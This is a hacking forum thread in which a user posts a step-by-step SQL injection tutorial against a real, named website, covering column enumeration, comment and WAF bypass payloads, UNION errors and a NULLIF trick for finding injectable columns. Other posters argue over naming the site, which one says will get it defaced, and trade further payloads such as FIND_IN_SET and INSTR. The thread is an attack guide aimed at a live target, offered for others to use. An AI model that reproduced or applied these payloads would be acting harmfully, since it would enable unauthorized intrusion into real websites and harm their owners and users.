[pishicat_Injector]

HI 🤝

From a little while ago I saw Berry White needing help here

PHP Code


<?php 
https://hackforums.net/showthread.php?tid=5734847 


So this topic was created for him

•◘╚╦☆ Target ☆╚╦◘•

PHP Code


<?php 
http://www.slobodnosrpski.com/index.php?jezik=sr&meni_link_id=20 


Let's Get the column number by using Group By 100

PHP Code


<?php 
http://www.slobodnosrpski.com/index.php?jezik=sr&meni_link_id=20 Group By 100-- -

i.imgur.com/78dlRhr.png 


I get error Not Found , but when I delet Comment Out Query -- - from the end of the query I get normal loading page .

PHP Code


<?php 
http://www.slobodnosrpski.com/index.php?jezik=sr&meni_link_id=20 Group By 100

i.imgur.com/7P1Df7c.png 


So we have here error with white space after any number with using Group by 100x so you can bypassing this error by using one of this Comment Out Query.

PHP Code


<?php 
%23 


PHP Code


<?php 
;%00 


PHP Code


<?php 
--%a0 


SO Let's fix this error By using %23 🤫


I notic when I use Order By 14 There Are Error

PHP Code


<?php 
http://www.slobodnosrpski.com/index.php?jezik=sr&meni_link_id=20' Order By 14%23

i.imgur.com/UO9SCBx.png 


And With Order By 13 There Are No Error

PHP Code


<?php 
http://www.slobodnosrpski.com/index.php?jezik=sr&meni_link_id=20' Order By 13%23

i.imgur.com/stjiTfR.png 


SO 🤫 the column number is (13) columns 👍

Let's Use Union Based

Notic: I will delet variable number and I will add @ just for fun




As you see there are error with using uni*on sel*ect

PHP Code


<?php 
near '.modul_slot = '1' AND moduli.modul_status = '1' ' at line 13 


This Error We Call New Line Error , Coz this line meaning is just order by x column of the url query, and this query continues to a new line, Ok Now we can't use -- Or %23 Cuz its same with --%0a

So What Can We Use To Bypassing This New Line Error ? , to bypassing this error We Can Use This two Comment Out Query.

PHP Code


<?php 
%60  | It Mean Backtick  `  | 


Notic : The backtick can only be used to end a query when used as an alias`alias starts

PHP Code


<?php 
;%00  | It Mean NUL Nullbyte (MySQL < 5.1) | 


SO 🤫




Now We See Another Error Here

PHP Code


<?php 
The used SELECT statements have a different number of columns 


And This Error Meaning UNI`ONs (UNI`ON and UN`ION ALL) require that all the queries being UNION'd have :

1- The same number of columns in the SELECT clause
2- The column data type has to match at each position



First: Routed Query(double query)

I did all the steps Here but it did not work As you see.




Second : Using True with all column's as a multiple queries

When I using this method I Noticed there are a word 'Novosti' appear in the page As you See.




I think it's mean I can insert every (id) like Nulling/Positive Value that used in multiple queries, in some column number one by one in this site to get the Vuln Column .

Notic : I will Using New Solution here it's calling NULL/IF Method's.

OK, Let's Start To Do That

Now I Will Use NULL/IF Negative/positive Value Method's to get the column Vuln number in the page, but how to use that NULLIF Method ?

NULLIF Negative/positive Value Method's


First: the method of NULL/IF I will use here must be The positive part, Cuz positive part only can appear Vuln column Not Negative part as a other method .

Second: Method NULL/IF should start from the last column forward to the first column in the DataBase Columns.





Notic : I can't use positive NULL/IF in the same DataBase Column Twice, Cuz I have Rule that dealing with the situation here.

•◘╚╦☆ Rule Of Negative/Positive NULL\IF value Using [Rule Belong To Team GHI] ☆╚╦◘•

NULLIF Method should start from the last column forward to the first column one by one , And If a column has gained a positive value By using positive NULLIF Method , It never To Other columns acquire the same value at the same time.


Let's change positive NULL\IF value in column number (13) to Negative NULL\IF value




now I will use positive NULL\IF value in all column one by one Let's Start .









Notic : If you have any notic in Rule Of Negative/Positive NULL\IF value please keep it to your self.

Hope You Love My Work Here

Regards

Pishicat_Injector GHI

[Berry White]

Lol man, u shouldnt delete tutorial, u should just remove site name, i dont know why u complicate things?

Thank you for your help, i am grateful, but its just little bit stupid to set real site name, isnt it ?

so the subject must be deleted in full and Respect the desire of the owner of the subject that request the help.

Then why u didnt delete it from fb page? Cmon man, i dont see the point of being mad? I Just dont want to site be defaced thats all,and we all know that it will be defaced if it is in tutorial...

[hunters]

Awesome work dude. Really fantastic.

[pishicat_Injector]

Update my Tutorial just now

[Berry White]

thx for that

and thx for that's too my friend


and about that


who say that is deleted from FB too

BTW you site appear in then more a 5 image so what I do about that I deleted all for that too

And I think mr JaNuS18 help you and you not need to my help so don't wory about your site it's safe now

Regards my brother 🤝

Listen man, i dont understand u very well, lets start from begginng, so:
First of all, i didnt know that u will set real website name.
Second, If u set real website name someone will deface it 100%, skiddies are everywhere my friend, and then u dont have use of putting real website name...
Third, It was on facebook until i didnt say that it is on facebook page, then u deleted it.
Fourth,

And I think mr JaNuS18 help you and you not need to my help so don't wory about your site it's safe now

really man? it doesnt matter who helps me, the title name is for masters in sqli...
And last thing, i really appreciate all u done here,i really do, but cmon, if u really wanted to help me, then u should message me on fb and help me, and if u want to write tutorial, then write with other website name as u said that u have some websites with same injection method...
And i dont want this website to be defaced,because it is of friend of mine...

PS: No hard feelings buddy?

[Younis Khan]

hmm that sucks :| thanks for ur effort of making it though...is it possible for u to send me or no?

[pishicat_Injector]

Awesome work dude. Really fantastic.

thx my frind 🤝

---

hmm that sucks :| thanks for ur effort of making it though...is it possible for u to send me or no?

aha as you say it's sucks

Regards

---

My Tutorial Is Back Now ^__^

[Gardener Jim]

Pleased it's back so I could read through it again.
I'd never even heard of "NULLIF" until now.

[Berry White]

Pleased it's back so I could read through it again.
I'd never even heard of "NULLIF" until now.

I am fine with it, but i am not fine with putting in tutorial website i asked for help, i mean cmon..

---

Omg, u really did this...
Why just dont change website name, why u are that idiotic? I dont get u + u said u wrote this tutorial for me xD and now publishing it xDD
InjectorBoy, stop with that shittt please, why acting like moron ?

---

I ask for help, and that website is used for tutorial,great !!
I shouldnt ask u at the first place, fucking loser, trying to copy JaNus,benzi and other masters, but u are just idiot who have about 10 personalities, that is so sad phishicat injector, or should i say black roas? or should i say Injector boy ?or what?

[•^v^–[ bLacKn3x ]–^v^•]

Hi what about simply insert --> 1 in column number? this makes the datatype boolean True too :)

thats easier to handle if it comes to waf or something.


Regards

[JaNuS18]

Hi what about simply insert --> 1 in column number? this makes the datatype boolean True too :)

thats easier to handle if it comes to waf or something.

Regards

Than he couldn't write so long text as new priv8 tutorial 😝

tutorial start
Fact is: column 3 is booelan value. It can have value true or false(1/0).If value in column #3 is true (or 1), data from database in column #4 is visible. If value is false, it isn't visible.
tutorial end

That logic for column #3 and #4 is valid in this web page ONLY - not a general logic for all sites, so such nullif tutorial is pointless 😝.

[New Method] he said: 🤣🤣

[Rule Belong To Team GHI] 🤣🤣

The Best Injection Method Ever 🤣🤣

OMG 🤦‍♂ He invented SQL... 😏

[Berry White]

Than he couldn't write so long text as new priv8 tutorial 😝

tutorial start
Fact is: column 3 is booelan value. It can have value true or false(1/0).If value in column #3 is true (or 1), data from database in column #4 is visible. If value is false, it isn't visible.
tutorial end

That logic for column #3 and #4 is valid in this web page ONLY - not a general logic for all sites, so such ifnull tutorial is pointless 😝.

[New Method] he said: 🤣🤣

[Rule Belong To Team GHI] 🤣🤣

The Best Injection Method Ever 🤣🤣

OMG 🤦‍♂ He invented SQL... 😏

Thanks for explanation, i couldnt figure out why this query works... so by simply adding 'true' to columns, we can get vulnerable column

[JaNuS18]

Thanks for explanation, i couldnt figure out why this query works... so by simply adding 'true' to columns, we can get vulnerable column

Yes, you need true (or value 1) JUST in column #3. This is valid ONLY for that specific site, where display of column #4 is related to state of value in column #3

That NULLIF() "new priv8 method by pishicat_injector" is totally obsolete, actually a nonsense which works just by accident.

MySQL NULLIF(value1, value2) returns NULL when the first parameter is equal to the second parameter. Otherwise, it returns the first parameter.

So that "glorified new super duper method" 😅 doesn't work for that site if you use NULLIF(2,1), NULLIF(3,2), NULLIF(X,Y)... It works just in one and only case when first parameter (X) is 1 and other parameter Y is <> 1 --> so function result is 1.

But we don't need some extra function if we can put simple 1 (means TRUE) to column #3. !!!! 😝😝😝

P.S:
pishicat_injector here is a suggestion for few "new glorified super duper priv8 methods" and tutorials by you ©:
#1

PHP Code


<?php 
FIND_IN_SET(0x61, 0x612c622c63) 


Put in column #3 and it will work. 👍 Because result of find_in_set will be 1 (means TRUE) again 😝

#2

PHP Code


<?php 
INSTR(0x6a616e7573, 0x6a616e) 


Put in column #3 and it will work. 👍 - "another new glorified super duper priv8 method"

#3

PHP Code


<?php 
length(0x6a) 


Put in column #3 and it will work. 👍 - "another new glorified super duper priv8 method"

#4

PHP Code


<?php 
locate(0x6a,0x6a) 


Put in column #3 and it will work. 👍 - "another new glorified super duper priv8 method"

#5

PHP Code


<?php 
strcmp(0x6b,0x6a) 


Put in column #3 and it will work. 👍 - "another new glorified super duper priv8 method"

[pishicat]

[New Method] he said:

[Rule Belong To Team GHI]

The Best Injection Method Ever

OMG 🤦‍♂ He invented SQL...

I love YOU 😁
put 1 in col 13 and now put null or 0 or false in col 5 now there are some vul columns :D but for inject you should keep trying and "working hard"😝😝 !
or you can put 4 in col3 and some thing o col5 to see new different !!!
this is easy ,but there are more advance methods that will do it in all of targets !!!

but it's nice tut from pishicat_injector!👍

P.S:
pishicat_injector here is a suggestion few "glorified new super duper method" and tutorial. Put

PHP Code


<?php 
FIND_IN_SET (0x61, 0x612c622c63) 


in column #3 and it will work. 👍 Because result of find_in_set will be 1 again

I LOVE YOU TOO !🤣😏😝😝

[LD_PRELOAD]

The tutorial is borderline retarded. Just a different way of ending the injection. Absolutely no new method on the table, what a waste of a thread.